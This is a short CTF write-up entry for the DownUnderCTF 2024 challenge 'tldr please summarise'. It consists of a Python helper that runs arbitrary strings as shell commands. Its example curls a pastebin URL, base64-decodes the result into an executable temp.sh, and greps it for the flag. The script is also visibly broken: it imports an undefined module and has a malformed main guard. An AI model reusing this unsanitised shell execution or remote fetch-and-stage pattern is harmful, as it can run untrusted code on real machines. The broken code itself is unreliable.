

CTFtime.org / DownUnderCTF 2024 / tldr please summarise

ctftime team

run this code for get flag or search on execution of any sh command or file <pre> import re import subprocess import os import blog

```
def solve(file_path, search="DUCTF"):

    command=""
    if not os.path.isfile(file_path):
        command=file_path
    else:
        # Read the command from the file
        with open(file_path, 'r') as file:
            command = file.read().strip()

    # Append commands to save output to temp.sh and run strings on it
    full_command = f"{command} > temp.sh && chmod +x temp.sh && strings temp.sh"

    # Execute the full command and capture the output
    result = subprocess.run(full_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # Combine stdout and stderr to cover all output
    combined_output = result.stdout + result.stderr

    results=[]
    # Search for the search string in the command output
    for line in combined_output.splitlines() :
        if search in line:
            results.append(line)
    if len(results)==0:
        return f"Flag containing '{search}' not found in the command output."
    else:
        for x in results:
            print(x)

if name == "main":
```

Example usage search on any command or execute of sh file

```
command = blog.set("curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d",1) search = blog.set("DUCTF",2)
print(solve(command,search)) </pre>
```

[Original writeup](https://cybersecctf.github.io/blog/?q=tldrpleasesummarise%20downunderctf2024) (https://cybersecctf.github.io/blog/?q=tldrpleasesummarise%20downunderctf2024).